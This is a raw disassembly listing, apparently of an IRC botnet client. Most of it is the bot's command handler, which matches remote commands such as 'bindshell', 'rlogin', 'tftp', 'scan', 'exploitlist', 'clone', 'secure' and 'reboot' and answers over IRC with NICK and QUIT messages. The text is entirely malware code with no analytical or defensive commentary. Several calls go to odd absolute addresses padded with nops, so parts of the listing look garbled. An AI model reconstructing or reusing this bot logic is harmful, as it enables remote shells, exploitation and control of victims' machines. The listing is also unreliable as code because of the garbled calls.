loc_4039BA loc_403961: ; CODE XREF: sub_4021E5+175Dj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] loc_40396E: ; DATA XREF: sub_6124DE+AEw ; sub_612A1A:loc_612A33r movzx eax, [ebp+var_364] neg eax sbb eax, eax neg eax push eax push dword_441098 loc_403982: ; DATA XREF: .XComp:00611E0Fw ; .XComp:0061219Cr ... lea eax, [ebp+var_20] push eax loc_403986: ; DATA XREF: .XComp:00611E45w ; .XComp:0061228Ar ... call sub_40CE78 add esp, 10h loc_40398E: ; DATA XREF: sub_611A29+20w ; sub_611A98+6w ... lea eax, [ebp+var_20] push eax loc_403992: ; DATA XREF: sub_611A98w sub_611AD5w ... push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] loc_40399A: ; DATA XREF: .XComp:00611CBAw ; .XComp:006121FBr call sub_40AFBE add esp, 0Ch loc_4039A2: ; DATA XREF: .XComp:loc_611EB5w ; .XComp:00612272r lea eax, [ebp+var_20] push eax loc_4039A6: ; DATA XREF: sub_6119E2+1w ; sub_6119E2+30w ... push offset unk_4420B8 call sub_417472 pop ecx pop ecx loc_4039B2: ; DATA XREF: sub_610867+4Br mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4039BA: ; CODE XREF: sub_4021E5+177Aj ; DATA XREF: sub_610867+57r mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aDie ; "die" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4039F4 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aD_1 ; "d" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_403A1C loc_4039F4: ; CODE XREF: sub_4021E5+17F0j push [ebp+var_9C] push offset a332_2 ; "332" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_403A17 call sub_40D605 push 0 nop call near ptr 7C81CDDAh loc_403A17: ; CODE XREF: sub_4021E5+1823j jmp loc_4061D7 ; --------------------------------------------------------------------------- loc_403A1C: ; CODE XREF: sub_4021E5+180Dj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aLogout ; "logout" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_403A5A mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aLo ; "lo" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_403BC5 loc_403A5A: ; CODE XREF: sub_4021E5+1852j mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_9C], 0 jz loc_403B1C mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx mov [ebp+var_5D8], eax cmp [ebp+var_5D8], 0 jl short loc_403B00 cmp [ebp+var_5D8], 3 jge short loc_403B00 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] movsx eax, byte ptr [ecx+eax] test eax, eax jz short loc_403AE4 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] lea eax, [ecx+eax+1] push eax push offset unk_4420F4 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] and byte ptr [ecx+eax], 0 jmp short loc_403AFE ; --------------------------------------------------------------------------- loc_403AE4: ; CODE XREF: sub_4021E5+18C6j push [ebp+var_5D8] push offset unk_442114 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_403AFE: ; CODE XREF: sub_4021E5+18FDj jmp short loc_403B1A ; --------------------------------------------------------------------------- loc_403B00: ; CODE XREF: sub_4021E5+18A9j ; sub_4021E5+18B2j push [ebp+var_5D8] push offset unk_442140 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_403B1A: ; CODE XREF: sub_4021E5:loc_403AFEj jmp short loc_403B8A ; --------------------------------------------------------------------------- loc_403B1C: ; CODE XREF: sub_4021E5+1883j and [ebp+var_5D8], 0 jmp short loc_403B32 ; --------------------------------------------------------------------------- loc_403B25: ; CODE XREF: sub_4021E5:loc_403B88j mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_403B32: ; CODE XREF: sub_4021E5+193Ej cmp [ebp+var_5D8], 3 jge short loc_403B8A push [ebp+var_A0] mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] add ecx, eax push ecx call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_403B88 mov eax, [ebp+var_5D8] shl eax, 7 mov ecx, [ebp+arg_18] and byte ptr [ecx+eax], 0 lea eax, [ebp+var_B8] push eax push offset unk_44216C lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp short loc_403B8A ; --------------------------------------------------------------------------- loc_403B88: ; CODE XREF: sub_4021E5+1974j jmp short loc_403B25 ; --------------------------------------------------------------------------- loc_403B8A: ; CODE XREF: sub_4021E5:loc_403B1Aj ; sub_4021E5+1954j ... cmp [ebp+var_4], 0 jnz short loc_403BB0 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_403BB0: ; CODE XREF: sub_4021E5+19A9j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_403BC5: ; CODE XREF: sub_4021E5+186Fj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aVersion ; "version" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_403BFF mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aVer ; "ver" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_403C53 loc_403BFF: ; CODE XREF: sub_4021E5+19FBj push offset dword_4410B0 push offset dword_442198 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch cmp [ebp+var_4], 0 jnz short loc_403C3E push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_403C3E: ; CODE XREF: sub_4021E5+1A37j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_403C53: ; CODE XREF: sub_4021E5+1A18j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aDedication ; "dedication" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_403C8D mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aDed ; "ded" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_403CDB loc_403C8D: ; CODE XREF: sub_4021E5+1A89j push offset unk_4421B8 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx cmp [ebp+var_4], 0 jnz short loc_403CC6 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_403CC6: ; CODE XREF: sub_4021E5+1ABFj lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_403CDB: ; CODE XREF: sub_4021E5+1AA6j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aSecure ; "secure" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_403D53 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aSec ; "sec" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_403D53 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aUnsecure ; "unsecure" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_403D53 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aUnsec ; "unsec" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_403EC6 loc_403D53: ; CODE XREF: sub_4021E5+1B11j ; sub_4021E5+1B2Ej ... mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aSecure_0 ; "secure" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_403D96 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aSec_0 ; "sec" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_403D96 and [ebp+var_4118], 0 jmp short loc_403DA0 ; --------------------------------------------------------------------------- loc_403D96: ; CODE XREF: sub_4021E5+1B89j ; sub_4021E5+1BA6j mov [ebp+var_4118], 1 loc_403DA0: ; CODE XREF: sub_4021E5+1BAFj mov eax, [ebp+var_4118] mov [ebp+var_C74], eax push [ebp+var_98] push 80h lea eax, [ebp+var_CF8] push eax call sub_421B90 add esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_CFC], eax mov eax, [ebp+var_85C] mov [ebp+var_C70], eax mov eax, [ebp+var_4] mov [ebp+var_C6C], eax cmp [ebp+var_C74], 0 jz short loc_403DF9 mov [ebp+var_411C], offset aSecuring ; "Securing" jmp short loc_403E03 ; --------------------------------------------------------------------------- loc_403DF9: ; CODE XREF: sub_4021E5+1C06j mov [ebp+var_411C], offset aUnsecuring ; "Unsecuring" loc_403E03: ; CODE XREF: sub_4021E5+1C12j push [ebp+var_411C] push offset dword_4422AC push 200h lea eax, [ebp+var_858] push eax call sub_421B90 add esp, 10h push 0 push 22h lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_C78], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_CFC] push eax push offset sub_41D75F push 0 push 0 call near ptr 27A0169h nop mov ecx, [ebp+var_C78] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_C78] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_403E96 loc_403E81: ; CODE XREF: sub_4021E5+1CADj cmp [ebp+var_C68], 0 jnz short loc_403E94 push 32h nop call near ptr 27A0000h jmp short loc_403E81 ; --------------------------------------------------------------------------- loc_403E94: ; CODE XREF: sub_4021E5+1CA3j jmp short loc_403EB1 ; --------------------------------------------------------------------------- loc_403E96: ; CODE XREF: sub_4021E5+1C9Aj nop call near ptr 27A0A66h push eax push offset dword_4422C8 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_403EB1: ; CODE XREF: sub_4021E5:loc_403E94j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_403EC6: ; CODE XREF: sub_4021E5+1B68j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aBindshell ; "bindshell" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_403F04 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aBd ; "bd" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_40408F loc_403F04: ; CODE XREF: sub_4021E5+1CFCj mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_9C], 0 jz short loc_403F67 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx movzx eax, ax test eax, eax jnz short loc_403F3D mov ax, word_441084 mov [ebp+var_411E], ax jmp short loc_403F57 ; --------------------------------------------------------------------------- loc_403F3D: ; CODE XREF: sub_4021E5+1D47j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx mov [ebp+var_411E], ax loc_403F57: ; CODE XREF: sub_4021E5+1D56j mov ax, [ebp+var_411E] mov [ebp+var_4120], ax jmp short loc_403F74 ; --------------------------------------------------------------------------- loc_403F67: ; CODE XREF: sub_4021E5+1D2Dj mov ax, word_441084 mov [ebp+var_4120], ax loc_403F74: ; CODE XREF: sub_4021E5+1D80j mov ax, [ebp+var_4120] mov [ebp+var_D18], ax mov eax, [ebp+arg_4] mov [ebp+var_D9C], eax mov eax, [ebp+var_85C] mov [ebp+var_D0C], eax mov eax, [ebp+var_4] mov [ebp+var_D08], eax push [ebp+var_98] push 80h lea eax, [ebp+var_D98] push eax call sub_421B90 add esp, 0Ch movzx eax, [ebp+var_D18] push eax push [ebp+arg_4] call sub_40C86E pop ecx push eax push offset unk_442314 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 10h push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h push 0 push 6 lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_D14], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_D9C] push eax push offset byte_4134A1 push 0 push 0 nop call near ptr 27A0169h mov ecx, [ebp+var_D14] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_D14] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_404074 loc_40405F: ; CODE XREF: sub_4021E5+1E8Bj cmp [ebp+var_D04], 0 jnz short loc_404072 push 32h nop call near ptr 27A0000h jmp short loc_40405F ; --------------------------------------------------------------------------- loc_404072: ; CODE XREF: sub_4021E5+1E81j jmp short loc_404087 ; --------------------------------------------------------------------------- loc_404074: ; CODE XREF: sub_4021E5+1E78j nop call near ptr 27A0A66h push eax push offset unk_442340 call sub_417472 pop ecx pop ecx loc_404087: ; CODE XREF: sub_4021E5:loc_404072j push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40408F: ; CODE XREF: sub_4021E5+1D19j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aBindshellstop ; "bindshellstop" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4040E7 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push 6 push offset aServer_1 ; "Server" push offset dword_442398 push [ebp+var_4] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40D75C add esp, 20h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4040E7: ; CODE XREF: sub_4021E5+1EC5j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aRloginstop ; "rloginstop" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_40413F mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push 9 push offset aServer_2 ; "Server" push offset dword_4423C0 push [ebp+var_4] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40D75C add esp, 20h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40413F: ; CODE XREF: sub_4021E5+1F1Dj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aHttpstop ; "httpstop" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_404197 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push 3 push offset aServer_3 ; "Server" push offset dword_4423E4 push [ebp+var_4] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40D75C add esp, 20h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_404197: ; CODE XREF: sub_4021E5+1F75j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aLogstop ; "logstop" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4041EF mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push 25h push offset aLogList ; "Log list" push offset dword_442408 push [ebp+var_4] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40D75C add esp, 20h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4041EF: ; CODE XREF: sub_4021E5+1FCDj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aRedirectstop ; "redirectstop" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_404247 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push 18h push offset aTcpRedirect ; "TCP redirect" push offset dword_442434 push [ebp+var_4] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40D75C add esp, 20h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_404247: ; CODE XREF: sub_4021E5+2025j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset dword_442444 call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_40429F mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push 0Dh push offset dword_442450 push offset dword_44245C push [ebp+var_4] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40D75C add esp, 20h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40429F: ; CODE XREF: sub_4021E5+207Dj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aTftpstop ; "tftpstop" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4042F7 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push 5 push offset aServer_4 ; "Server" push offset dword_44247C push [ebp+var_4] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40D75C add esp, 20h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4042F7: ; CODE XREF: sub_4021E5+20D5j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aFindfilestop ; "findfilestop" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_404331 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aFfstop ; "ffstop" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_40436C loc_404331: ; CODE XREF: sub_4021E5+212Dj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push 24h push offset aFindFile ; "Find file" push offset dword_4424B0 push [ebp+var_4] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40D75C add esp, 20h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40436C: ; CODE XREF: sub_4021E5+214Aj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aProcsstop ; "procsstop" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4043A6 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aPsstop ; "psstop" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4043E1 loc_4043A6: ; CODE XREF: sub_4021E5+21A2j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push 27h push offset aProcessList ; "Process list" push offset dword_4424E4 push [ebp+var_4] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40D75C add esp, 20h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4043E1: ; CODE XREF: sub_4021E5+21BFj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aClonestop ; "clonestop" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_404439 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push 1Fh push offset aClone ; "Clone" push offset dword_442508 push [ebp+var_4] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40D75C add esp, 20h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_404439: ; CODE XREF: sub_4021E5+2217j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aSecurestop ; "securestop" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_404491 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push 22h push offset aSecure_1 ; "Secure" push offset dword_44252C push [ebp+var_4] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40D75C add esp, 20h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_404491: ; CODE XREF: sub_4021E5+226Fj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aScanstop ; "scanstop" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4044E9 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push 0Bh push offset aScan_2 ; "Scan" push offset dword_442550 push [ebp+var_4] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40D75C add esp, 20h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4044E9: ; CODE XREF: sub_4021E5+22C7j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aScanstats ; "scanstats" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_404523 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aStats ; "stats" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_404542 loc_404523: ; CODE XREF: sub_4021E5+231Fj push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40DC2A add esp, 0Ch mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_404542: ; CODE XREF: sub_4021E5+233Cj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aTransferstats ; "transferstats" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40457C mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aTrstats ; "trstats" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_40459B loc_40457C: ; CODE XREF: sub_4021E5+2378j push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40DD5F add esp, 0Ch mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40459B: ; CODE XREF: sub_4021E5+2395j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aConnectbacksta ; "connectbackstats" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4045D5 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aCbstats ; "cbstats" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4045F4 loc_4045D5: ; CODE XREF: sub_4021E5+23D1j push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40DDCF add esp, 0Ch mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4045F4: ; CODE XREF: sub_4021E5+23EEj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aExploitlist ; "exploitlist" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40462E mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aExplist ; "explist" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_40464D loc_40462E: ; CODE XREF: sub_4021E5+242Aj push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_40DE28 add esp, 0Ch mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40464D: ; CODE XREF: sub_4021E5+2447j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aReconnect ; "reconnect" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_404687 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aR ; "r" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4046A8 loc_404687: ; CODE XREF: sub_4021E5+2483j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40AFBE pop ecx pop ecx push offset dword_4425E0 call sub_4173DC pop ecx xor eax, eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4046A8: ; CODE XREF: sub_4021E5+24A0j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aDisconnect ; "disconnect" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4046E2 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aDc ; "dc" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_404704 loc_4046E2: ; CODE XREF: sub_4021E5+24DEj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_40AFBE pop ecx pop ecx push offset dword_442624 call sub_4173DC pop ecx or eax, 0FFFFFFFFh jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_404704: ; CODE XREF: sub_4021E5+24FBj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aQuit_0 ; "quit" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40473E mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aQ ; "q" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4047AF loc_40473E: ; CODE XREF: sub_4021E5+253Aj mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_9C], 0 jz short loc_404798 cmp [ebp+var_2D4], 0 jz short loc_404796 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push [ebp+var_2D4] call sub_421B10 pop ecx pop ecx mov [ebp+var_DA0], eax cmp [ebp+var_DA0], 0 jz short loc_404796 push [ebp+var_DA0] push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 0Ch loc_404796: ; CODE XREF: sub_4021E5+2570j ; sub_4021E5+2599j jmp short loc_4047A7 ; --------------------------------------------------------------------------- loc_404798: ; CODE XREF: sub_4021E5+2567j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_40AFBE pop ecx pop ecx loc_4047A7: ; CODE XREF: sub_4021E5:loc_404796j push 0FFFFFFFEh pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4047AF: ; CODE XREF: sub_4021E5+2557j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aStatus ; "status" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4047E9 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aS_0 ; "s" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_40483F loc_4047E9: ; CODE XREF: sub_4021E5+25E5j push dword_4E141C call sub_41E075 pop ecx push eax push offset unk_442674 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40483F: ; CODE XREF: sub_4021E5+2602j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aId ; "id" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_404879 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aI ; "i" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4048C7 loc_404879: ; CODE XREF: sub_4021E5+2675j push offset dword_4410A0 push offset dword_4426A8 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4048C7: ; CODE XREF: sub_4021E5+2692j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aReboot ; "reboot" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_40494C call sub_41A8DC test eax, eax jz short loc_4048F9 mov [ebp+var_4124], offset unk_4426C8 jmp short loc_404903 ; --------------------------------------------------------------------------- loc_4048F9: ; CODE XREF: sub_4021E5+2706j mov [ebp+var_4124], offset unk_4426E8 loc_404903: ; CODE XREF: sub_4021E5+2712j push [ebp+var_4124] lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40494C: ; CODE XREF: sub_4021E5+26FDj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aThreads ; "threads" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40498A mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aT ; "t" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_404AC2 loc_40498A: ; CODE XREF: sub_4021E5+2782j push [ebp+var_98] push 80h lea eax, [ebp+var_E34] push eax call sub_421B90 add esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_E38], eax mov eax, [ebp+var_85C] mov [ebp+var_DAC], eax mov eax, [ebp+var_4] mov [ebp+var_DA8], eax mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_9C], 0 jz short loc_4049F8 push offset aSub ; "sub" mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_422740 pop ecx pop ecx neg eax sbb eax, eax inc eax mov [ebp+var_4128], eax jmp short loc_4049FF ; --------------------------------------------------------------------------- loc_4049F8: ; CODE XREF: sub_4021E5+27EBj and [ebp+var_4128], 0 loc_4049FF: ; CODE XREF: sub_4021E5+2811j mov eax, [ebp+var_4128] mov [ebp+var_DB0], eax push offset dword_442720 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx push 0 push 28h lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_DB4], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_E38] push eax push offset byte_40D3DB push 0 push 0 call near ptr 27A0169h nop mov ecx, [ebp+var_DB4] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_DB4] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_404A92 loc_404A7D: ; CODE XREF: sub_4021E5+28A9j cmp [ebp+var_DA4], 0 jnz short loc_404A90 push 32h call near ptr 27A0000h nop jmp short loc_404A7D ; --------------------------------------------------------------------------- loc_404A90: ; CODE XREF: sub_4021E5+289Fj jmp short loc_404AAD ; --------------------------------------------------------------------------- loc_404A92: ; CODE XREF: sub_4021E5+2896j call near ptr 27A0A66h nop push eax push offset unk_442740 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_404AAD: ; CODE XREF: sub_4021E5:loc_404A90j lea eax, [ebp+var_858] 